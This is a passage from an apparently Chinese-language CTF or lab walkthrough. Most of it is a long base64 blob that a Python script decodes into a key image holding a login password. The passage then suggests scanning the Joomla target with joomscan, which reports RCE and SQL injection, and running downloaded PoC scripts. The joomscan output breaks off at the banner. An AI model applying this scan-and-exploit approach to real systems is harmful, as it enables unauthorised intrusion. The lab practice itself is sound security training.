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
XQTjfeLZcHgvEmUrZrjvPaYaQrJ6WOuGZbNxsJZP9qHKjeIQ/arTuM+IVFIHgkZNVUVRLCy7SNin
WsBjKTH6HsRg0A/lplBMR5ZfbBBa8lyzITs0W0VRUmPI6LseVeONosQTjK9wkw3KTaHkcEWkB4L3
tanmShykpWZ1iX8qr1HlRlFyhyEjGSQChWp7VRQDu7xW9sTcFButD2J+iFQqXRdjkjDVl7dBxCa6
NCpK7jBsmLjRBuyKEk9QTCMx+afvmBX8fDmQDElj6QIYgTYYyppUMjdR5UZRcofjMDs+oVSVG0Wx
KTICirOkQrHZNdOu3u4xf4Na0fwGXOsykWWocqMouUN3fDLIFDh+KUoaFBi51j42qjQpgpAYXH08
kDRIxZ0p4JCyyAaznaIoKXNY/hKW+ERFUSzM9r1Z0lPWbMcdkb7CvhCbQpoNarlRlByjCSolJWQo
n2twKUra9EON+ICGskP1L4h3S0Wyw540BSjwWwBFUdKkA8LQD91+S6IoWUUfzIRB+dPutzxAAGqM
8n39MKBnEi/IhoArRVEURXGCAFTDSDaVcjlTwoCsSqctarzxAlVuFEVRFMU1glALURiQnABFURRF
URRFURRFURRFURRFURRFURRFURRFURRFURRFURRFURRFURRFURRFURRFURRFURRFURRFURRFURRF
URRFURRFURRFURRFURRFURRFUaYmnZ2dsYQsWrTIbxkVRVEURUlC0G8BFEVRFEVRnESVG0VRFEVR
8opCvwVQspclS5Z84hOfWLJkycjIyD333LNlyxa/JZokF1100aWXXlpTU5PhdYaGhh577LGHH344
6SdPO+20a665Zs6cOT09Pffcc8+rr76a7r0WLFjw8Y9//JRTTiksLPzxj3/84osvTkrkbCdv5liG
uDEOOraeYb+tpaWlGV4qGAz+9Kc/3bRpkyOCKQpozE08d91116iv/9vf/tZvodJm2bJlra2tiR9r
ugwODl5wwQUJbnr33XeP+pV///d/T0vs2267bdQV/vKXv2Q2EtlIfsyxzHFjHHRsPWPs25o527dv
9/trKXmEKjc2P/jBD8YdgWeeecZv0dJg0aJFji86NhPpN7/61a/G/fwjjzySoti33377uFd47bXX
nBsb/8mPOZY5boyDjq1nTPS2Zk57e7vfX07JF1S5sVi3bl2CQbj22mv9FjBV3nrrLUdXmzgGBwfH
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
MNGi41QHnDxWbu66665xfzf1JjgTlUb9y1/+kuIVMsTVccicFMch6XVUufGXpDPkyiuv9FvGRCQu
8dfb2+u3gIon6KJgkRPjsGrVqgTXd6RuVb4qN2vWrEnw66k0lEhcxPbaa69NY0Qmi9vjkDmpjEPS
i6hy4yNJZ8jOnTv9ljEJGzZsSPwV/vSnP/kto29oQLGSjSTOJXavWV0e8PWvfz3BT7/zne8kvULi
JtXf/OY305bJDxKPQ+bkyjgoE5F0hvzrv/6rN5JMmieffDJxJNlFF100ZetNq3KjZCNnnnlmgp8u
Xbp01qxZngmTWyQu6rVmzZrCwiRpBCtWrEjw01mzZuXEcul2cbNcGQdlIpLOkG3btnkjSSbs2LEj
8QembJU/VW7SIGlLOe055xRJC58vXLjQG0lyjqTl+ZN+IGn1/Zwozz8qC90NcmIclIlI+iI0Nzc7
da/PfOYze/bsicVinZ2djzzyyIwZM5y6clIhk37NfEWVmzTYu3dvgp82Nzcn7QOipMK6deuSfmbZ
smUeSKLkLtrkQckSXnvttR/84AennnoqUFNTc+mll7a3t09Zg4pnqHKTBl/60pcS/PSf//mfvRIk
z7njjjuSfubb3/62B5IouYvbMTeKkgovvPDCuM3Dn3vuOXVruooqN2lQX19/3XXXjfujTZs23Xff
fR7Lk5dcf/3169evT/qxRYsWpZ7YrExBXnnllVSipxXFPS655JIEbRx+85vfeCnMVEOVm/S47777
LrvsslHu/Hvuuee9732vXyLlE7fffnvqKsv111//4IMPBoM6h5XxueWWW7Tbg+IjH/vYxxL8dPXq
1UmDC5VJo+0X0uahhx566KGHPvCBD1RWVpaWlj766KMtLS1+C5XDXHHFFZWVlatXr7788svHjX17
+OGH9+/fP2/evI0bN476wOWXX3755ZdbHzhw4MDDDz/c09PjleBKDvCd73zn+9///uWXX758+fKR
kZHEH66trR07xxRl0iTt17148eKGhgZPZJlyqHIzSfxqlJNPXH311T/72c8SfOChhx76yEc+Yndy
+cQnPvHNb37zn/7pn0Z9zG4H87Of/exb3/pW4tAoZaoxMjJy//33p/jhieaYokyCxYsXJ/7AnDlz
vJFkCqImfcUfvvKVryTWbH74wx9edtllo3rUffnLX54o7MnitttuU0+2kglJ55iipMLatWuTVotO
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
AAAAAACg0f8BeD+YFbp5dlYAAAAASUVORK5CYII='''
 
imgdata=base64.b64decode(strs)
file=open('key.png','wb')
file.write(imgdata)
file.close()
```

python3运行即可得到图片，原图如下：

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/key.png)

还可以使用在线工具直接将base64字符串转成图片：

[Convert Your Base64 to Image](https://codebeautify.org/base64-to-image-converter)

登陆密码即在图片中，挑战完成，帅！！！

#### 其它方法

 - 使用joomscan扫描可以发现存在非常多的漏洞，远程代码执行，sql注入等等，下载对应的poc或者脚本运行即可

``` bash
root@kali:~# joomscan -u http://192.168.84.143:666/
    ____  _____  _____  __  __  ___   ___    __    _  _ 
   (_  _)(  _  )(  _  )(  \/  )/ __) / __)  /__\  ( \( )
  .-_)(   )(_)(  )(_)(  )    ( \__ \( (__  /(__)\  )  ( 
  \____) (_____)(_____)(_/\/\_)(___/ \___)(__)(__)(_)\_)
                        (1337.today)
   
    --=[OWASP JoomScan
    +---++---==[Version : 0.0.7
